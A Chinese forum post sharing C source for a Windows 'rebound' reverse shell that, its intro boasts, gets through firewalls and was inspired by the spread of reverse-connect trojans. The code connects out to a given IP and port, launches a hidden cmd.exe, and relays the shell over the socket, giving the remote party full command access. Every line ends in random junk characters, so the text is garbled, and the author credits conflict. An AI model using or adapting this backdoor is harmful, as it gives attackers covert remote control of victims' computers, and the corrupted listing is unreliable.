这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 VI9rezZ*
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/* ============================== -3?
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Rebound port in Windows NT (x/:j*`K
By wind,2006/7 zd8A8]&-
===============================*/ p{_*<"cfYn
#include |S).,B
#include XZ8rM4
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#pragma comment(lib,"wsock32.lib") lr;ubBbT
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void OutputShell(); 7neJV
SOCKET sClient; ct|0zl~
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; {*n<A{$[
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void main(int argc,char **argv) X%<qHbKB,
{ ed5oN^V.<
WSADATA stWsaData; _3%:m||,XP
int nRet; Y)lr+~84f
SOCKADDR_IN stSaiClient,stSaiServer; ><IWF#kUA
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if(argc != 3) `Rq|*:LV
{ "XV@OjrE
printf("Useage:\n\rRebound DestIP DestPort\n"); (O(TFE5^
return; M0C)SU5"
} _2`b$/)-
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WSAStartup(MAKEWORD(2,2),&stWsaData); T?[;ej:
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S]%,g%6i
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stSaiClient.sin_family = AF_INET; 4P)#\$d:
stSaiClient.sin_port = htons(0);
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ]D5Maid+
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) yc9!JJMkH
{ nG5\vj,zB
printf("Bind Socket Failed!\n"); RuVk>(?WK%
return; "8ZV%%elp
} }OnU32P
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stSaiServer.sin_family = AF_INET; 03|nP$g
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); xjnAK!sD
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 4<}@hk
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ;xw9#.d#D
{ _~CJitR3
printf("Connect Error!"); (ot56`,k
return; (t&`m[>K
} Z-ci[Zv
OutputShell(); O^./)#!#
} )S4ga
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void OutputShell() 8Vn
{ 1V[ZklS
char szBuff[1024]; c-NUD$
SECURITY_ATTRIBUTES stSecurityAttributes; &@{`{
OSVERSIONINFO stOsversionInfo; dVMl;{
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 8r[TM
STARTUPINFO stStartupInfo; ?P|z,n{
char *szShell; !<j4*av:G
PROCESS_INFORMATION stProcessInformation; +?3RC$jyw
unsigned long lBytesRead; ,%x2SyA
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); WW3Jxd
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); %YF
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stSecurityAttributes.lpSecurityDescriptor = 0; {_.(,Z{
stSecurityAttributes.bInheritHandle = TRUE; \6APU7S
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); I+kL;YdS
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 3l`"(5
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); .Xf_U.h$*@
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )$f?v22
stStartupInfo.wShowWindow = SW_HIDE; *UW 8|\;
stStartupInfo.hStdInput = hReadPipe; BH^*K/^
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; $,r%@'= &
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GetVersionEx(&stOsversionInfo); ZW"f*vwQo
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switch(stOsversionInfo.dwPlatformId) ":/Vp,g
{ `g(#~0R
case 1: ;}S_ PnwC@
szShell = "command.com"; k
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break; 6 mLC{X[
default: {P?DkUO}
szShell = "cmd.exe"; O{byMV{Ou
break; 1#"wfiW
} (dNF)(wn
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); `hG`}G|^
rs>,p)
send(sClient,szMsg,77,0); T$r/XAs
while(1) BDPE.8s
{ pcscNUp
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); r/NaoIrJV
if(lBytesRead) d72
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{ O3slYd&V
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); hr'?#K
send(sClient,szBuff,lBytesRead,0); Q2)5A&U\
} XZ$g~r
else 6OC4?#96%'
{ @pv:uON\
lBytesRead=recv(sClient,szBuff,1024,0); Qz{Vl>"
if(lBytesRead<=0) break; hTby:$aCg
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); L&NpC&>wD
} U$a)lcJd
} ;{iTSsb
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return; Z9% u,Cb
}